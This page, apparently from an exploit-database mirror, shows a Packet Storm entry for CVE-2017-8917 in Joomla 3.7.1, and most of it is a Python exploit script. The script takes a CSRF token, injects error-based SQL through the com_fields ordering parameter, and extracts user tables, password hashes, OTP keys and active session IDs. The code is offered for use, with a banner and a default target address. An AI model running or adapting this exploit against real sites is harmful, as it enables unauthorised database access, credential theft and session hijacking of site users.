Joomla 3.7.1 SQL Injection

Exploit Details

Basic Information

Exploit Title Joomla 3.7.1 SQL Injection
Exploit ID PACKETSTORM:190574
Type packetstorm
Published 2025-04-21T00:00:00
Modified 2025-04-21T00:00:00

CVSS Information

CVSS Score 9.8
Severity CRITICAL
Vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2017-8917

Exploit Description

Joomla………

Exploit Code

# Exploit Title: Joomla 3.7.1 – Sql Injection
Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.1
# Tested on: Win, Ubuntu
# CVE : – CVE-2017-8917

#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import os
import random
import time
import binascii

def extract_token(resp):
match = re.search(r’name=”([a-f0-9]{32})” value=”1″‘, resp.text, re.S)
if match is None:
print(” [!] Cannot find CSRF token”)
return None
return match.group(1)

def parse_options():
parser = argparse.ArgumentParser(description=’Jooma Exploit’)
parser.add_argument(‘url’, help=’Base URL for Joomla site’)
return parser.parse_args()

def build_sqli(colname, morequery):
return “(SELECT ” + colname + ” ” + morequery + “)”

def joomla_370_sqli_extract(options, sess, token, colname, morequery):
sqli = build_sqli(“LENGTH(“+colname+”)”, morequery)
length = joomla_370_sqli(options, sess, token, sqli)
if not length:
return None
length = int(length)
maxbytes = 30
offset = 0
result = ”
while length > offset:
sqli = build_sqli(“HEX(MID(%s,%d,%d))” % (colname, offset + 1, 16),
morequery)
value = joomla_370_sqli(options, sess, token, sqli)
if not value:
print(” [!] Failed to retrieve string for query:”, sqli)
return None
value = binascii.unhexlify(value).decode(“utf-8”)
result += value
offset += len(value)
return result

def joomla_370_sqli(options, sess, token, sqli):
sqli_full = “UpdateXML(2, concat(0x3a,” + sqli + “, 0x3a), 1)”
data = {
‘option’: ‘com_fields’,
‘view’: ‘fields’,
‘layout’: ‘modal’,
‘list[fullordering]’: sqli_full,
token: ‘1’,
}
resp = sess.get(options.url +
“/index.php?option=com_fields&view=fields&layout=modal”, params=data,
allow_redirects=False)
match = re.search(r’XPATH syntax
error:\s*'([^$\n]+)\s*'\s* if match:
match = match.group(1).strip()
if match[0] != ‘:’ and match[-1] != ‘:’:
return None
return match[1:-1]

def extract_joomla_tables(options, sess, token):
tables = list()
first = False
offset = 0
while True:
result = joomla_370_sqli_extract(options, sess, token, “TABLE_NAME”,
“FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT
” + str(offset) + “,1” )
if result is None:
if first:
print(“[!] Failed to retrieve first table name!”)
return False
break
tables.append(result)
print(” – Found table:”, result)
first = False
offset += 1
return tables

def extract_joomla_users(options, sess, token, table_name):
users = list()
offset = 0
first = False
print(” – Extracting users from”, table_name)
while True:
result = joomla_370_sqli_extract(options, sess, token,
“CONCAT(id,0x7c,name,0x7c,username,0x7c,email,0x7c,password,0x7c,otpKey,0x7c,otep)”,
“FROM %s ORDER BY registerDate ASC LIMIT %d,1” % (table_name, offset) )
if result is None:
if first:
print(“[!] Failed to retrieve user from table!”)
return False
break
result = result.split(‘|’)
print(” [$] Found user”,result)
first = False
offset += 1
users.append(result)
return users

def extract_joomla_sessions(options, sess, token, table_name):
sessions = list()
offset = 0
first = False
print(” – Extracting sessions from”, table_name)
while True:
result = joomla_370_sqli_extract(options, sess, token,
“CONCAT(userid,0x7c,session_id,0x7c,username)”, “FROM %s WHERE guest = 0
LIMIT %d,1″ % (table_name, offset) )
if result is None:
if first:
print(“[!] Failed to retrieve session from table!”)
return False
break
result = result.split(‘|’)
print(” [$] Found session”, result)
first = False
offset += 1
sessions.append(result)
return sessions

def pwn_joomla_again(options):
sess = requests.Session()

print(” [-] Fetching CSRF token”)
resp = sess.get(options.url + “/index.php/component/users/?view=login”)
token = extract_token(resp)
if not token:
return False

# Verify that we can perform SQLi
print(” [-] Testing SQLi”)
result = joomla_370_sqli(options, sess, token, “128+127”)
if result != “255”:
print(” [!] Could not find SQLi output!”)
return False

tables = extract_joomla_tables(options, sess, token)

for table_name in tables:
table_prefix = table_name[:-5]
extract_joomla_users(options, sess, token, table_name)
extract_joomla_sessions(options, sess, token, table_prefix + ‘session’)

return True

def print_logo():
clear = “\x1b[0m”
colors = [31, 32, 33, 34, 35, 36]

logo = “””

.—. .-”’-. .-”’-.

| | ‘ _ \ ‘ _ \ .—.
‘—‘ / /` ‘. \ / /` ‘. \ __ __ ___ /| | | .
.—.. | \ ‘ . | \ ‘ | |/ `.’ `. || | | .’|
| || ‘ | ‘| ‘ | ‘| .-. .-. ‘|| | | < |
| |\ \ / / \ \ / / | | | | | ||| __ | | __ | |
| | `. ` ..’ / `. ` ..’ / | | | | | |||/’__ ‘. | | .:–.’. | | .”’-.

| | ‘-…-‘` ‘-…-‘` | | | | | ||:/` ‘. ‘| |/ | \ | | |/.”’. \
| | | | | | | ||| | || |`” __ | | | / | |
| | |__| |__| |__|||\ / ‘| | .’.”| | | | | |
__.’ ‘ |/\’..’ / ‘—‘/ / | |_| | | |
| ‘ ‘ `’-‘` \ \._,\ ‘/| ‘. | ‘.
|____.’ `–‘ `” ‘—‘ ‘—‘
“””
for line in logo.split(“\n”):
sys.stdout.write(“\x1b[1;%dm%s%s\n” % (random.choice(colors), line,
clear))
#time.sleep(0.05)

def main(base_url):
options = parse_options()
options.url = options.url.rstrip(‘/’)
print_logo()
pwn_joomla_again(options)

if __name__ == “__main__”:
sys.exit(main(“http://192.168.10.100:8080/joomla”))

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.